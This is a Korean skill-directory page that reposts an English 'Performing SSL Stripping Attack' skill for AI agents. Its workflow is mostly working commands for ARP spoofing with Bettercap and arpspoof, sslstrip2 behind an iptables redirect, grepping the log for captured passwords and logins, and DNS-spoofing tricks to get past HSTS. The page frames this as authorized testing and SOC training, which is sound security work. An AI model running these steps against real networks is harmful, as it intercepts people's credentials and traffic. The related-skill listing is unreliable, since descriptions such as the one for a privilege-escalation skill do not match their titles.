performing-ssl-stripping-attack
하는 일
웹사이트가 보안 버전(HTTPS) 대신 안전하지 않은 버전(HTTP)을 사용하도록 강제하는 공격을 시뮬레이션합니다. 이는 웹사이트 보안을 테스트하기 위해 통제된 환경에서 수행됩니다.
사용하는 경우
- ✓웹사이트가 HTTPS 사용을 강제하는지 테스트할 때.
- ✓HSTS 보안 설정이 올바르게 구성되었는지 확인할 때.
- ✓다른 사람들에게 보안 위험을 보여 주는 경우.
스킬 링크
https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-ssl-stripping-attack/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“테스트용 로그인 웹사이트에 대해 SSL 스트리핑 공격을 시뮬레이션해 주세요.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
공격은 통신을 가로채고 보안 링크(HTTPS)를 안전하지 않은 링크(HTTP)로 바꿉니다. 사이트가 HTTPS로 리디렉션하려 해도 브라우저가 HTTP로 연결되도록 강제합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
Performing SSL Stripping Attack
When to Use
- Testing whether web applications properly enforce HTTPS through HSTS headers and redirect chains
- Validating that HSTS preloading is correctly configured and registered in browser preload lists
- Demonstrating the risk of cleartext HTTP to stakeholders during authorized security assessments
- Assessing whether internal applications and thick clients validate TLS certificates and reject downgrades
- Training SOC teams to detect SSL stripping indicators in network traffic
Do not use against networks or applications without explicit written authorization, to intercept real user credentials, or against production systems during business hours without change management approval.
Prerequisites
- Written authorization specifying in-scope applications and approved attack techniques
- Bettercap 2.x or sslstrip2 installed on the attacker machine
- ARP spoofing or other MITM positioning established (see ARP spoofing skill)
- IP forwarding enabled on the attacker machine
- Wireshark for verifying attack success and capturing evidence
- Test accounts (not real user credentials) for demonstrating credential interception
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1: Establish MITM Position
# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1
# Position via ARP spoofing using Bettercap
sudo bettercap -iface eth0 -eval "set arp.spoof.targets 192.168.1.50; arp.spoof on"
# Alternatively, use arpspoof from dsniff
sudo arpspoof -i eth0 -t 192.168.1.50 -r 192.168.1.1 &
Step 2: Execute SSL Stripping with Bettercap
# Start Bettercap with SSL stripping
sudo bettercap -iface eth0
# Enable ARP spoofing
> set arp.spoof.targets 192.168.1.50
> set arp.spoof.fullduplex true
> arp.spoof on
# Enable HTTP proxy with SSL stripping
> set http.proxy.sslstrip true
> set http.proxy.port 8080
> http.proxy on
# Enable network sniffer for credential capture
> set net.sniff.verbose true
> net.sniff on
# Watch for intercepted HTTP traffic (was HTTPS)
# Bettercap will show credentials and URLs in real-time
Step 3: Execute SSL Stripping with sslstrip2
# Configure iptables to redirect HTTP traffic through sslstrip
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
# Start sslstrip
sudo sslstrip2 -l 10000 -w sslstrip_log.txt
# In another terminal, monitor the log for intercepted credentials
tail -f sslstrip_log.txt | grep -i "pass\|user\|login\|email"
# sslstrip works by:
# 1. Intercepting HTTP responses containing HTTPS links
# 2. Replacing https:// with http:// in the response
# 3. Maintaining HTTPS connection to the real server
# 4. Serving downgraded HTTP to the victim
Step 4: Test HSTS Bypass Techniques
# Check if target has HSTS header
curl -sI https://target-app.example.com | grep -i strict-transport-security
# Check if target is on the HSTS preload list
curl -s "https://hstspreload.org/api/v2/status?domain=example.com" | python3 -m json.tool
# Test HSTS bypass via subdomain substitution
# sslstrip2 can replace URLs with similar-looking HTTP alternatives:
# https://accounts.google.com -> http://accounts.google.com (fails if HSTS)
# https://accounts.google.com -> http://accounts.google.com. (trailing dot bypass attempt)
# Bettercap HSTS bypass with DNS spoofing
sudo bettercap -iface eth0
> set arp.spoof.targets 192.168.1.50
> arp.spoof on
> set dns.spoof.domains target-app.example.com
> set dns.spoof.address 192.168.1.99
> dns.spoof on
> set http.proxy.sslstrip true
> http.proxy on
# For applications not on HSTS preload, clear HSTS cache in test browser:
# Chrome: chrome://net-internals/#hsts -> Delete domain security policies
# Firefox: Clear recent history -> Active Logins (resets HSTS)
Step 5: Validate Detection and Controls
# Check from victim's perspective:
# 1. Browser address bar should show http:// instead of https://
# 2. No padlock icon visible
# 3. If HSTS is effective, browser should show error and refuse connection
# Capture evidence of the downgrade
tshark -i eth0 -f "host 192.168.1.50 and port 80" \
-T fields -e frame.time -e ip.src -e ip.dst -e http.host -e http.request.uri \
-Y "http.request" > ssl_strip_evidence.txt
…
자주 묻는 질문
아무 웹사이트에나 사용할 수 있나요?
아니요. 명시적인 허가를 받은 승인된 테스트 환경에서만 사용할 수 있습니다. 허가 없이 사용하면 불법입니다.
HSTS란 무엇인가요?
브라우저가 특정 웹사이트에 항상 HTTPS를 사용하도록 지시하는 보안 규칙입니다. 이를 통해 ‘SSL 스트리핑’을 더 어렵게 만듭니다.
SSL 스트리핑이란 무엇인가요?
공격자가 보안 연결(HTTPS)을 안전하지 않은 연결(HTTP)로 바꿔 데이터를 볼 수 있게 하는 공격 유형입니다.
상세 정보
작성자의 원본 설명
Simulates SSL stripping / HTTPS downgrade attacks using sslstrip, Bettercap, and mitmproxy in authorized lab environments to test HSTS enforcement, certificate validation, and HTTPS upgrade mechanisms. Use when performing an authorized penetration test to validate HSTS preloading and TLS certificate handling, demonstrate downgrade-attack risk to stakeholders, or train SOC teams to detect SSL strip
인기도
- GitHub 스타
- 35k
- 순위
- #8311
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 8. 31.
댓글
- …
이 저장소의 다른 스킬
abusing-dpapi-for-credential-access
35kAI 에이전트에게 특정 작업을 위한 준비된 지침을 제공해, 더 잘하고 더 빠르게 처리하도록 합니다.
abusing-shadow-credentials-for-privesc
35kAI 에이전트가 명확하고 잘 구성된 텍스트를 쓰도록 가르칩니다.
achieving-cmmc-level-2-compliance
35kCMMC Level 2 규정 준수를 위한 환경을 준비하도록 돕습니다. 보안 요구 사항을 구현하고 필요한 문서를 관리합니다.
acquiring-disk-image-with-dd-and-dcfldd
35k에이전트가 하드 드라이브의 정확한 복사본을 만들도록 돕습니다. 조사 중 정보가 손실되거나 변경되지 않도록 하는 데 유용합니다.